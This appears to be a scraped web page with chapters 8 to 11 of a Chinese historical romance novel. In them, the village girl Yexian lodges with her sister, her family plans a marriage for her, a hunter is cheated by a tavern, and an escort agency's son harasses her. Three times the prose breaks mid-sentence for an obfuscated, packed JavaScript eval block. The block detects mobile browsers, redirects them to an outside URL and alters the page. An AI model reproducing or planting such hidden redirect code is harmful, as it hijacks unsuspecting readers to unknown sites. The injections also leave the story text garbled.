食街摊子一路从北到南延伸，汇集了整个江宁县各式各样的吃食，顶尖的有各色酒楼食肆，最末的摊子小车，样样都齐全，只要乐意，什么都能吃到。 江宁县离应天府很近，并无宵禁，因而此时各色奔忙干活的人群三三两两都汇聚，抬头遥望四五层高的食肆，还能听到里头能依稀传来弹奏阔笑的声响。 马娘子这几日和引线相处，觉得这个小姑娘无论是脾气还是口味和她都很合得来，于是笑盈盈问要不要吃馄饨，引线口味并不重，因而点了点头应了。 两人在摊子前坐下，馄饨摊子的头发花白老妇笑着问几碗，问好后抓两把馄饨下滚开的锅里，热气腾腾，香气四溢，勾得过路的人都忍不住吸了两下鼻子，犹豫着是否要吃上一碗当作晚食。 正吃着，忽见一侧有人喧嚣，似乎是两拨人从名叫晖楼的酒肆里出来，正互相骂街，憋得脸红耳热。 有人知晓情况当和事佬赶来劝架，然而不但没有丝毫消退，看热闹得人群反倒越聚越多，将两拨人围在中间，还有人看热闹不嫌事大，好似在给相扑的人鼓劲，一味起哄叫好。 果然，没半刻钟就传来惊呼声，有人被打了。 馄饨摊子的老妇摇摇头叹道：“这个月好几起了。” 马娘子爱热闹，见人当街动手，端着碗就效仿旁边的人往高处站，一面吃一面伸头去看，一面还记挂着问老妇人缘由。 路过的人都去看了热闹，此刻也没人要来吃馄饨，老妇人就将柴火退了两根，盖了火门，保证灶膛里的火不熄灭就成。 因着急过来凑热闹，动作慌张了两分，引得退出来的柴火星子落在她裙子上，吓得她赶紧拍了又拍，然而还是烧了几个小洞。 她也不在意，凑过来道：“这晖楼是正元镖局和人合伙开的，平日里就在咱们这十分有名，因而但凡有什么宴请都会到此处来，来的人也都听说咱们江宁附近有花豹、狼、蛇之类的野物，都想尝一尝。有客人点名要，晖楼也就放话出去高价收，山里虽然险，但这一年半载的附近村众到底也有得了手的送了来，却没想到晖楼不但不认之前的话，还借此压价，对外只说这人送来的是死物，死物活物价格可相差很大，也就有不愿意拿些许钱走人的猎户，今日想必就是不服气的，非要讨个说法，这就闹开了。” 马娘子听得有点吃惊，引线却从人群中看到一个眼熟的人。 那人虽穿着寻常褐衣，却无论是那几个酒肆的人跟前，还是围观众人中，都显得很打眼，只因他身量比旁人高，皮肤呈小麦色，浓眉大眼，身姿挺拔，简直如鹤立鸡群。 8. 第八章 “这位小哥，”他拱手道，“我们都是本分猎户，既然当初说好了一头活鹿能换十两，此前我们也照许掌柜说的送来了，今日我来收帐许掌柜却为何推三阻四，拒不认账？还请他出来给我和我的兄弟一个说法才是。” 一旁跟在他身后的两名一高一矮的青年都怒目而视，其中一个微胖的愤愤不平道：“就是，姓许的明明答应的十两，现在却只给五两，鹿被你们宰了吃了，现在不认账，这不是欺负人？让他出来，我们当面对质！” “你说十两就十两了？”有个伙计抱着胸嗤笑一声，“我还说二十两呢，无凭无据，你说了可不算。” 另一人更是嚣张：“我家掌柜不在，去正元镖局吃酒去了，你要是想找，就去正元镖局找他吧。” 在场的人谁不知道正元镖局的东家姚平和县衙府的梁知县关系匪浅，两人好得跟穷时穿过一条裤子似的，比亲兄弟还亲。就说去年梁知县得了个娇妾，去梁家吃酒时被姚平看上，梁知县眼睛都没眨就将那小妾送到了姚家，一时被人啧啧称奇。 说难听些，这晖楼就是仗着这层关系在江宁县称王称霸，有外地富商不信邪惹恼了姚平，当天夜里富商就被脱光了扔在街上，还以莫须有的罪名将他带来的货物扣押，最后富商只好给了二百两“通融费”，才带着货物马不停蹄逃离。 旁边有人就劝那青年：“小郎君，正元镖局不是你能惹得起的，不过一头鹿，犯不上搭上性命，还是快些回去，以后另谋生路吧。” “是啊，”立刻有人搭腔，“你这样的身板，既然能打到这鹿，肯定其他的野物也不在话下，这回就当自己倒霉，免得麻烦上身，到时才叫后悔莫及。” 引线很不赞同这话。 这两人表面上是好言相劝，实际上却是站着说话不腰疼。现在战事初定不久，虽说有了喘息的时候种地，但到底还属于地荒人少的年景，还要交一春一秋两季的税，各家各户能吃饱就是幸事了，更别提肉类，吃得起的更是少之又少。 这头鹿能值十两，想必一定是一头成年大鹿，又是活着送来，即便是这几人身手再好也费了一番功夫，说不好这钱还是救命的钱，哪儿能说算了就算了？ “你说得轻巧！”果然，另两名青年中的微胖那位先跳了起来，“我老娘半个月没吃过一顿饱饭，顿顿吃稀地能照人的粥，就指望着这头鹿能挣些口粮，你们这样跟强盗劫匪有什么区别？” 另一人赶紧拉住他。 吵架不能解决问题。 前头的浓眉青年虽然并未发怒，却也不再如之前一般客气，“既然你们蛮不讲理，我也只好作罢，不过这十两，我保证你们到时一定是会一文不少付给我。” 晖楼的几个伙计都讥讽地大笑起来。 三人一走，周围人多半是叹息年轻气盛，性命面前一头鹿算什么。 其余的看客不过议论两句也就散了。 马娘子和摊主老妇人聊得火热时，引线已经将一碗馄饨连汤都喝了个干净，只留了点油花在碗底晃着。 和马娘子道别后，引线将方才看到的热闹抛之脑后，回了柳家。 穿针一见到她，立刻喜得嘴巴都合不拢：“你姐夫从镇江回来了，今年的生丝和棉布很不错，价格又低，他跑一趟去了这么多天也算值了……” 等她将柳守的事说完，才有些讪讪然地说：“不说这些了，你今日枣糕和笼饼做的如何了？清净庵的师傅们可还算好？” 引线并不觉得她烦，反倒因为柳守争气而觉得姐姐很值得，并且真心为她高兴。 姐妹俩絮絮说了会话，柳守就从柳母那边回来了。 本朝初定时，皇帝曾广发诏书，求贤若渴，扩大科举范围，因而早年读过书的柳守也是去下场试了一回，却因太久没摸过书，结果自然可想而知，过后便安心在家中打理生意，也算无怨无悔。 不过有过读书科举经历，他即便是从商，浑身也保持着一种儒雅的气韵，说话行事却又平易近人，并不如其他读书人似的拿腔拿调，令人心生好感。 见引线在屋里，他并不进去，只在外面的堂间招呼了小姨子一句。 引线就不好再缩在屋里了，出去和姐夫见礼问好。 “听说你去了清净庵做工，做得如何了？有无人欺负你？”柳守将穿针刚才关心的话拿出来又说了一次。 引线笑了笑，如刚才回答：“挺好的，师傅们都很和气，同做工的马娘子也是个爽快人，我们相处的挺好。” “还要做几日的工？” “一直到二十六，算起来还有四日。” 柳守点头：“那就好，只怕我回来你住着不自在，让你姐将西边的小屋子给你收拾出来凑合，明日一早我去给你置办张竹床放进去，也算睡得舒坦一些。” 引线连忙说：“不必麻烦，我在哪儿凑合都成，反正没几日我要是不回去，爹也要来找我了。” 柳守闻言看向穿针，穿针连忙拉了妹妹去西屋的凉榻上，搬了被褥进去铺好让她早些休息。 引线知道她这是有些话不好当着自己面说，怕自己面皮薄，她默默收下姐姐的好意，也是因她出了一天力的确累了，简单盥洗后躺下没几息就睡着了。 待她呼吸平稳后，正屋这头，小两口正在灯下对坐说话。 “你说小妹逃婚，所以才来投奔你？”得知真相的柳守明显讶然，他还以为穿针想她，所以托人带消息，喊引线到江宁县里来，又留她在家里住段日子呢。 穿针想到这个，胸口就堵了一口气：“可不是，要不是吴氏那个妇人撺掇我爹，怎会提出这样刁难人的聘礼？她就是成心的，要不是我暂时回不去，我定然要回去问问那婆娘到底几个意思，再问问爹心里到底还有没有我娘！若是有，怎地任由那吴氏这么糟践引线！” “男方是什么人？怎出得起这聘礼？”相较来说，柳守很会抓重点。 穿针摇头：“我只听引线说，对方是南洼那边的猎户，从军营回来后就住在山上，长得很吓人，又活剥鹿皮，生吃肉，脾气还不好，你说说，这样的人怎么能许给我妹妹？这不是把她往火坑里推是什么？” 柳守皱眉，即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587444|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便现在年景困难，许多村户或许还节衣缩食地过日子，但江宁县民风淳朴，连流民盗贼也少闻，他不相信有这样的人，于是提出疑问：“你爹见过男方了？还是小妹见过了？” “并未，只是同村的人在山上见过，亲眼见到的——”穿针信誓旦旦，对于妹妹的话，她每一个字都深信不疑，质疑引线就等同于质疑她，于是穿针有些不高兴起来，“你什么意思，我们姐妹还能骗你？” 柳守心知她们姐妹关系好，也了解穿针的个性，平日里看着沉稳的人只要牵扯引线的事，立刻如护崽的母鸡似的炸毛暴躁，因而他赶紧顺毛摸，“我不是这个意思，小妹的婚事当然要仔细斟酌。但我只是觉着有些事得眼见为实，若是对方人还不错，你们这样胡乱听人一言就乱来，岂不是让岳父难堪？” 穿针不在乎亲爹难不难堪，反正她娘在世时积攒的好名声全都被吴氏给败完了，也没见她爹有什么反应，反倒纵容着吴氏折腾，闹成如今的局面。 不过想到引线不尴不尬地住在自己这也不是个事，到底没有分家，还在婆母眼皮子底下，她倒是不碍事，可每回柳母和嫂子汪氏暗指引线一些冷嘲暗讽的话，她听了心里就不自在。 夫妻俩陷入短暂的沉默。 片刻后，还是柳守打破僵局：“我有个主意，不知好不好说。” 见他有法子，当局者迷的穿针哪还管好不好说的事，当即推他一把，催促道：“还不快说！” 柳守清了清嗓子，却将声音压低了些，“小妹她这么一走，岳父那里先不说难堪，肯定是很气恼的，否则也不会这么久不来找她回去。既然绳头都掉了，不如将绳拉到底，咱们在城里给她寻摸一门婚事，聘礼若是不够定的数，由咱们偷偷给她添补一份，再立下婚书，等办好后定了提亲的日子，咱们将她全须全尾地送回去。到时只说早就相看好了人户，只因没定下来，就不好让小妹说出去，也不好私自应下其他的相看，如今这回进城来就是办这事的，办好了，自然就送回村里了。” 看穿针的眼中闪了又闪，柳守的嘴角忍不住翘了起来，“到时候聘礼齐全，婚书齐备，就是你那刁钻的继母也保管挑不出一丝错处来。” 穿针越听越觉得这法子好，高兴到忍不住搂住他的脖子贴近脸，狠狠亲了一口：“相公还得是你有法子！” “好了好了，既然感激我给你当了回军师，还不得好好犒劳我？”柳守笑眯眯地，暧昧的意味明显。 小夫妻半个多月没见，自然是小别胜新婚，空气都是燥热的，穿针臊红了脸，却没驳他，推了他一把：“去你的！” 声音里的娇却好似溢满了春水，眼里却秋波流转，令人迷醉。 一夜休提。 次日一早引线依旧早早起床出门去。 折腾了一晚上的穿针浑身累得睁不开眼，早上更是起不来，等她起来引线都蒸了两屉枣糕了。 忙不迭起来穿衣收拾，一面忙一面红着脸怪丈夫太过能折腾。 帐子里的柳守哼哼笑了两声，也不睡了，起来穿衣梳洗去铺子里看货。 9. 第九章 忙了一日下来，引线依旧在外头吃了碗馄饨，回来就晚了些。 穿针给她留了饭，左等不见，又等不见，不由地有些着急。 引线回来时，饭菜都凉了，穿针嗔怪：“你这人，我都说了别在外头吃，一碗馄饨四文钱，你一日才挣几个？禁得住这样花？” 引线就怕被柳母逮住机会说她占柳家的便宜，因而不想让姐姐为难，当下只推说：“马娘子爱吃，我也不好抛下她。” 不说饭食，穿针连忙将昨晚上的计策说给她听：“……你姐夫的意思是，若真想绝了这门婚事，就在城里找个比他好的人户定了，聘礼不够的数，我跟你姐夫添上一些。旁的你不用担心，只一点，你别太挑，等事情定下来，我跟你姐夫专程送你回去，有我们撑腰，到时候看爹和吴氏还能说什么！” 引线脸一红，感到有些突然，对于姐姐姐夫这样一心为她又感到不知所措。 穿针心知妹妹脾气，于是耐心了些，与她解释：“娘就生了我们俩姐妹，看你好我心里才高兴。而你姐夫向来是知道我心思的，既然他说了，就是真心的，你不必有负担。” “可柳伯母那里……”引线担心，“你们现在还没分家，要是为了我的事拿钱，只怕她会更加为难你。” 穿针笑着摸了摸她有些枯黄的发，心里一阵酸，却压下喉间那股劲儿，道：“你放心，谁家没有个私房钱了？我跟你姐夫经营这么些年，也不是傻子，手里多少有些银子，还贴补得起你这点。只要你以后能和妹夫过好日子，我就是将私房钱都拿给你我也甘愿。” 引线看出姐姐眼里的酸涩，她不忍心再推，只好点头：“姐，以后我也要贴补你。”说着揽住穿针的胳膊，整个人都贴在她半个肩膀上。 “好，”穿针笑道，“以后若我和你姐夫有难处，你可不能吝啬小气啊！” 引线这里说定，穿针就开始暗暗留意人选。 好在她要帮着打理棉布店，外出的机会多，她偷偷观察，有认识的人就旁敲侧击地打听一二，到底也是有些人选的，可深入了解下来却觉得要么太矮要么太黑，要么人“太会”过日子了，要么就是过于粗鲁，怎么看也不行。 柳守得知后忍不住笑她：“当时劝小妹的时候你怎么说的？还让她不要太挑，结果你自己倒挑上了。” 穿针就推了他肩膀一下，“你这人，人家正烦恼着呢，你不帮忙参详反倒说我的不是。再说若不是我太挑，当初还能被你相中？只怕早就囫囵着被吴氏许了不知哪家了。” 当初江宁县举办花灯会，穿针走在人群中进了柳家的棉布店，偏偏那么多人，但柳守一眼就看到了她，四处打听却无人能知，柳守就此患了相思病久治不愈。 后来他一个多年前的同窗到柳家棉布店买布时无意听说了这事，不由地哈哈大笑，说这不就是石桥村叶家的大丫头嘛，附近几个村里就叶家的两姐妹生得最好，对了下年龄模样，更加确定地说肯定是她。 柳守马不停蹄登门拜访，将穿针吓了一大跳，最后几经费心求娶，穿针见他诚意，才最终点头应了这门婚事。 当然了，柳守也是不负所托，不但聘礼给的足足的，即便婚后三年还没所出，柳母百般刁难，柳守也没有如柳母所愿休妻或是外头养一个，依旧与穿针恩爱如新婚。 柳守笑过，怕再看热闹下去她定然要生气，于是本着送佛送到西的精神，再当了一回幕僚道：“隔壁肖家娘子之前来串门的时候不是同你说过，她丈夫有个表侄刚从军营回来不久，如今二十出头的人了还孤身一人，也不着急自己的婚事。肖娘子人不错，与你又向来交好，能让她上心，说明这侄儿肯定差不到哪儿去，这么现成的人选，你怎地忘得一干二净？” “对啊，我怎么忘记这事了！”穿针一拍大腿，可很快又有些犯难，“我家是女方，这样上赶着只怕肖娘子以为引线有些缺憾，可要是将引线带过去，又未免太没有矜持了……” 柳守道：“你先去探探肖娘子的口风，若她也有意，就让对方亲自来一趟，到时让小妹站在里屋看两眼，要是愿意就出去见一见，要是不愿意只说感染了风寒不便见客就是。” 这倒是个进可攻退可守的好法子，穿针高兴地又捧着丈夫的脸亲了又亲，以作嘉奖。 “也就是小妹了，换成其他人你哪有这么上火？”柳守笑呵呵地，“更别提这些主意了，以你的脑筋肯定也照样能想到。到底是长姐半个母，有你在，以后在城里住下，我们多少也能照看小两口，你们姐妹也不用几个月才见一面了。” 这话说到了穿针的心坎上，看他哪儿哪儿都是好，当下更着急去隔壁，竟然一刻也等不了。 待她拿了些时令鲜菜送去隔壁，假装串门，因她常来，看门听使唤的婆子没拦她，进去穿针就瞧见肖娘子母女一站一坐交叠在外堂，她正握着女儿的手教她绣一朵红梅花。 “你来了，”肖娘子笑着招呼她，拿起一旁的帕子擦了擦手，又低头叮嘱，“绣花的时候切记手上不能有汗，否则污糟了布面丝线，就是针也捏不稳。” 穿针将自己带来的鲜菜给了一旁的婆子送去厨房，坐下看她们说话。 等她忙完，穿针才道：“瞧书琴，上个月还只能扎个样，现在连梅花都会绣了。” 虽然是好听话，但谁家父母不爱儿，肖娘子面上的笑依旧深了些：“你今日怎么得空到我这来？昨日我瞧你家二郎回来了，该是小别胜新婚的时候，不去铺子守着他，倒在我这里来卖乖。说吧，什么事？” 穿针嫁到柳家后，时间一久才发现，虽说柳家有些家资，不过也到底是商户，更别提在官家贵绅眼中柳家也就算个暴发户，而门庭寒酸爱端架子的一些亲朋柳母也早就断了来往，因而并无同乡亲眷在江宁县，柳母也从来不带两个儿媳走亲戚。 后来隔壁的杏子树枝桠打穿针夫妻住的这边围墙伸了进来，肖娘子登门来道歉，穿针却不以为然。 几番了解才知肖娘子是个孀居的寡妇，她丈夫陈县令是江宁人氏， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587445|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此前在外地做官，后来染急病去世，肖娘子就带着女儿回了江宁老宅，与外头的亲眷也不大来往。 一来二去，两人都觉得合得来，渐渐有了交集，成了朋友，时不时串门送些东西说会话。 当下穿针并不扭捏，直言道：“那日你同我说你丈夫有个远房表侄还未婚配，不知他如今是否定了？” 肖娘子看了她一回，抿唇道：“莫非你有人选？” 穿针被她看穿，一心想促成此事，却又怕那人不够般配，有些忐忑，斟酌了半晌才道：“倒也不算是人选，你上回与我提了一嘴，我这不是也帮你帮他留意着嘛，可算有些眉目，就是得问问他这头情形如何。” 肖娘子痛快道：“那好，你要是帮我这个忙，我就让他到时候给你一份丰厚的谢媒礼，你可是解决了我那表嫂嫂在世时的心愿，要是真成了她在地下也能合眼了。” 穿针竖着耳朵听了个清楚，诧异道：“你那表嫂已经去世了？家里还有什么人？” “是啊，他被朝廷抽丁调派，从军八年，我那表嫂嫂想他想得身体都不好了，念叨着他一个瘦瘦小小的孩子怎么能在军营里熬过去，又因没个信捎来，一家人都只当他已经没了。谁知我那表嫂才去世一年，这孩子就回来了，如今他大哥一家子搬到了村里住，他主动和大哥分了家独自住在后山，虽说出行偏僻了些，可到底清净。”肖娘子将情况说了个清楚。 这样一听，穿针就有些犹豫起来：“那成亲以后岂不是要跟着他住在后山上？” 山上的确清净，可也无人啊，要是有个什么事怎么办，自己在城里，娘家三个人只有自己爹还算靠得住，她可不信吴氏母子俩能真心为引线好。 这让她怎么放心？ 肖娘子看她笑脸没了，升起一丝愁容，心里不禁起了疑，追问道：“这女方是你娘家那边的？哪家的，我认不认得？” 穿针连忙扯了个笑：“不是，也是远房的亲戚，外地的。” 肖娘子与她来往几年，怎不知她定然是藏了话没说，忽然想到之前听她说过有个妹妹还没嫁人，这几日又在柳家住着，说不好就是为了她妹妹的事操心，这样一想，刚才她的变化也就合理多了。 “你放心，”肖娘子心里有了数，拍了拍胸脯保证，“我这表嫂家的二郎现如今长得壮实，打猎干活都是一把好手，为人又正直可靠，更不似那些个兵痞染上一身的臭毛病，就是想成个家过平淡日子。若你家远房那姑娘愿意，聘礼那些肯定不会薄，等将来小两口攒下家资，就让二郎在城里寻个差事，只要人年轻又上进，俩人心往一处使，日子只有越过越好的道理，你说是不是？” 穿针话都说出口了，肖娘子又热情，她不好再提自己回去和柳守商量的事，先应下了后日见面的事。 柳守晓得后，宽慰她：“这不是还没定嘛，若是看了拿不准或是不行，再推了就是，只当没这回事，左右那二郎也不知咱们小妹已经相看过他了。” 穿针点点头应了。 10. 第十章 南洼村。 因回程时下着绵绵细雨，青壮男子带着斗笠和蓑衣大步往村中人户最多的聚集地去。 瞧见他来，原本在房檐底下接雨水活泥玩的一个七八岁小孩立即站起来，先喊了一声二叔，又回头喊娘。 正当午饭时候，灶房里传出一阵噼里啪啦的响动，似乎没料到他会饭点时候来，又是锅盖乱碰，又是铲子掉地，一阵手忙脚乱。 稍待一会，才见一位二十七八，头上包着布，穿着褐衣围裳的圆脸妇人走出来。 “大嫂。”陈江招呼她，将带回来的两兜红枣酥饼给了一旁早就眼馋的侄子陈青，“去了一趟城里，也不知道你们爱吃什么，就买了这酥饼和两壶酒。” 樊氏瞪了馋鬼投胎似的儿子，提着酒冲着陈江笑笑，招呼他道：“买这些吃的做什么，又不能饱又贵。快来坐，饭做好了，说话就能吃。”脸色终究好看了一些。 “大哥呢？”陈江点点头，将湿漉漉的斗笠和蓑衣挂在外面墙根处，跟在樊氏后面略弯腰曲背进了堂屋。 樊氏道：“去地里看秧苗了，下了两日雨，地里水不放放要灌满，冲垮了田埂，不去看看你大哥心里不放心。” 两人又说了田里的事，就听到外头粗重的脚步声传来，原来是陈大郎陈河回了，鞋上裤腿上都是黄泥，他直接将裹满了泥的鞋子脱了丢在墙根下，换上干净松软的，看到陈江迎了出来。 “大哥。” 陈河不自然地点点头，算是应了。 两兄弟都是沉默的性子，樊氏觉得气氛实在是不太好，加上灶上还炖着菜，赶紧让陈青帮着端菜端饭，正式开饭。 农家菜能吃的都是应季，如今刚开春也没什么好菜，依旧是一碗去岁入冬时的腌菜，一碗炒萝卜，一碟酱，一陶盆炖肉，只不过里头垫了一大把切过的菜，肉只是铺在上头薄薄的一层，加上另一盆混着豆子的杂粮蒸饭，就算齐全了。 在村里，这已经算是很不错的。 陈河皱眉问：“我早上不是跟你说了中午把那条腌鱼炖了，鱼呢？” 他知道妻子不喜欢弟弟，特意没跟她说陈江中午会来，此刻分明闻到鱼腥味了，桌上却没见到，心里一阵恼，但依然压着火气问。 樊氏干笑两声，将那炖肉往陈江面前推了推：“腌鱼腥气，我怕二叔吃不惯，这不是有炖肉吗，也是一样的。” 陈河想发火，但想着陈青在桌上看着，加上待会还有事和弟弟说，只好先招呼他吃饭，吃了几口主动问了那十两银子的事。 “李家二姑说，叶家的丫头不依，她给你再说合一个，只需你将聘礼预备好就是。”陈河看了一眼他摆在板凳一侧扁扁的包袱，“上回你和那两个小子费了大劲才抓到的鹿，你说能换十两，都去了好几趟了，今日去还是没拿到？” 陈江点点头，将那拿到的五两给了郑石二人分了的事说了，对于自己那还没拿到的另一半浑然不着急：“这事我心里有数。” 当初李二姑将叶家说的天花乱坠，什么模样好、手巧，是过日子的好姑娘，大嫂生怕她要掏钱出聘礼，因而各种不满意，他怕大哥在中间为难，便放话自己预备聘礼，无需大哥出一分钱，这才平息口角。 但陈家上门时，却得知对方隐约流露出不愿意。 莫非她心有所属？陈江忍不住想，他不是在意名声的人，但要是让他无意中做了个夺人姻缘的人，他还是不乐意的。 “小娘子就是这样的，”樊氏凑话，她巴不得叶家这门亲不能成。那继母狮子大开口要钱要粮，另还要细葛新布，丝毫不管将来继女嫁出去后在夫家的名声，不是继母都做不出来这样的事，因此这婚不成她觉得反倒好了，“又没个生母教养，指不定早就和人相好上了，又不敢跟家里坦白，便闹这么一出。” 这话属实太难听，陈江皱了皱眉。 陈河呵斥她：“还有陈青在这，你胡说八道什么！” “本来就是。”樊氏小声嘀咕，捧着碗扒了口饭，“谁家出得起这样的聘礼，若不是有事，她那继母还不得立刻让你将人娶回来？现在这样，里头的道道只有他们自己心知肚明。” “还说！”陈河真恼了，将筷子往桌上一摔，瞪着她。 樊氏这才彻底闭了嘴。 “肖婶娘从前跟咱娘关系好，如今托人捎信来，听说你回来，就在城里给你看了一门亲事，你到时候去一趟，若是合适就定下来。”陈河和他商量，“既然你要成家了，山上的老屋那样实在是不适合委屈新妇。不如将咱家右手边那两间屋给收拾出来，刷一刷灰，给你做新房，以后就住在这，家里也热闹些。” “这怎么好委屈二弟！”樊氏叫了起来，发现陈河冷着眼看自己，顿时低下头去，却忍不住嘀咕，“当初婆母在世的时候咱们就搬出了老屋，也算是分了家了，再说二弟回来该属于他的那份咱们也给他了，何苦要住在咱家？而且陈青要上学，拢共就四间屋子，我还想着将那间给他做书房呢！” 做书房是托词，自己娘家人来了住才是真的，陈河一眼就看出她的意图。 见兄嫂有吵架的趋势，陈江赶紧出言阻止：“大哥，大嫂，我想好了，老房的确有些破漏，我回去修补一下就成，更何况我习惯住老屋了，村子里人多口杂，我反而觉着浑身不自在，你就别跟我争了。” 陈河心有亏欠，不容他反驳，“你当年才十五，人都只有别人肩头高，就替我去从了军，如今好胳膊好腿地回来也不知吃了多少苦头，就这两间房我还不能让给你了？听我的，明日你嫂子在家收拾，我去借个板车，你跟我一道将老屋里的东西都拉回来。” 见陈江还要说，陈河眉毛一挑：“你不来，莫非嫌弃大哥这儿窄？” 看着樊氏满脸的不乐意，陈江也不愿意兄嫂为了自己的事吵架，赶紧道：“大哥，不是我嫌弃，我现在住在老屋，进山更方便些，抬脚就能走。再说当初祖父祖母，爹娘也是住在山上的，要是女方嫌弃，那也说明两家不适合，不如推了的好。” 陈江搬出了爹娘，陈河就不好再说什么了，瞪了一眼松了口气的樊氏，又道：“你记着，要是何时不想在老房住了，随时可搬到大哥这儿来，这屋子我给你留着。” 陈江自然动容，顺从地点点头。 随后两兄弟商量起修补老房的事来，约定等陈江去将剩余的那五两银拿到后再说。 吃过了饭，雨小了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587446|205343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少，陈江谢绝了大哥的挽留，穿戴好斗笠和蓑衣走进了绵绵细雨中，一路往山上走。 陈家的老屋在山脚到山腰的中间位置，这里原本只有泥巴路，当初陈江的木匠爹见到妻子摔了两回后，花了好几年将这条路铺了石板和刷了油的木板。 陈河一家搬到山下后，这条路便无人再走，石板缝隙里长出茂密的青苔，木阶常年被雨水浸湿地越发深褐，两侧原本常清理的杂草因无人修葺而变得张牙舞爪，陈江走过的时候草穗上的雨水划在他的裤腿上形成暗色。 伴着两侧的排水沟里水流声，陈江回到了老屋。 山里宽阔，地方也亮堂，除了灶房、粮仓、杂房等，能住人的共有五间，他刚回来那日就将屋前屋后半人高的杂草给收拾了，又查看了漏水情况，发现只有左边第二间屋还算能住人，草草拾掇一番就住下了，如今看到这情形，他叹了一口气。 自打回来就进山去，这儿除了夜里睡个觉也没其他用处，如今细看还真觉得破破烂烂的，到底还是该好好修缮一番，否则真成不了亲事，到时只能一个人过一辈子了。 于是下晌他将需要的材料和工具都合计了出来，第二日去了城里，既是讨剩下那五两钱，也是为了用这笔钱采买修缮的工具。 * 江宁县依旧热闹，引线手肘间一左一右挎着两个冬瓜大的竹篮，上头盖着布，每走到一户人家，布施的尼姑就会将布掀开，从里头将枣糕和笼饼递出去，再合十念一句阿弥陀佛。 等到篮子里头空了，引线再回去将里头填满，继续发放。 走到一处打着正元镖局的招幌的转角处时，却因没注意差点撞到人。 那人身后跟着两人，而他更是骂骂咧咧跟这两人说话，没注意就撞到了走在靠外面的引线。 虽说引线反应已经够快了，但还是有一篮子滑出手腕，枣糕笼饼滚了一地，沾惹上尘土，可惜极了。 尼姑“唉哟”一声，心疼道：“前头还有七八家没送完呢！都是有数的，这下怎么跟庵主交待！” 引线脚踝扭伤，试着站起来，倒是没问题，但稍微一走就隐隐地疼。 对面三人看过来，撞人的那个还没开口，后面两个已经是骂骂咧咧了：“怎么走路的！没长眼啊！” “就是！没见这是咱们镖局的少东家吗，撞坏了你赔得起嘛你！瞎了眼的玩意，我瞧你眼睛长在屁股上了！” 前头那青年心情本就不好，脸色阴沉着正要开口，却在见到引线抬头时面色一变，笑道：“小娘子撞疼了吧？是我不注意没看到你，对不住对不住！我晓得这附近就有个医馆，要不送你过去，医药费我全出。” 那两个跟班一见这场景，哪里还有不懂的，对视一眼，不怀好意地嘿嘿暗笑两声。 引线一抬头，见面前的人身形微胖，面白浮肿，眼下乌青，两道眉毛像是蚯蚓一样弯弯曲曲，中间还断了一截。虽然穿着缎面衣裳，那上下打量的眼神却让人觉得接触一下跟大热天吃了一大碗浓浓猪油汤似的，格外不舒服。 她忍着疼往后退了两步，才及时躲开他伸过来的手，“我并无大碍，不必麻烦去医馆了。” 说着就要和尼姑走。 11. 第十一章 然而那少东家非但不放她走，更是毫无顾忌地当街拦在她跟前：“这位师傅是对街清净庵的吧？我爹每年给庵堂捐的银子是最大头的，你就当没看到这事，回庵堂去吧。”却是对那小尼姑说话。 尼姑看了眼引线，又看了眼他，忧心道：“这位施主，姚东家捐银给庵堂实属诚心礼佛，既如此你又为何要悖逆他的意思行事？这还是在你家镖局旁，更不该胡来才是。” 那少东家冷笑一声：“给你家捐香油钱是看得起你们，若是本少爷不高兴了，带人砸了你家庵堂！去去去，别不识好歹坏本少爷的好事！” 一副赶苍蝇的不耐烦模样。 余下二人顺着他的话走过来，脚踩在枣糕和笼饼上也不看一眼，最终形成一个三角，隔开了尼姑，将引线困在其中。 引线说不慌是假的，面对三个身强体壮的男子，她几乎没有还手之力，更何况她现在脚还崴了，更是同那待宰的羊无甚区别。 尼姑也同样害怕，她久居江宁县，心知正元镖局的人和官府老爷素来交好如兄弟，这姚少爷也横行霸道惯了，要是真的惹恼他，肯定不会善罢甘休。 但犹豫几番，她还是不忍这样的小娘子被糟蹋，于是合十正欲再上前。 但那姚少爷却早已瞟到她的动作，伸手一抓，抓住她的衣领面露凶相。 跟班之一赶紧上前阻止，声音能压多低就压多低：“少东家，不可不可，咱们溜出来本就得低调，要是被东家晓得了，您最多罚跪一下，我们哥俩可吃不了兜着走了。” 引线浑身紧张，额角身上都在冒冷汗，注意力更是集中，听到这句话，顿时有了主意。 “走走走！”姚少爷权衡再三，还是松开了尼姑，“快些滚，别让本少爷再看到你！” 那尼姑被猛然一提，当下又被猛然一松，顿时软倒在地只顾着咳嗽，站不起来。 “小娘子……”那姚少爷转头正要吃吃笑，迎面却是一东西将他砸的眼前一黑，大叫一声，“哎呀！” 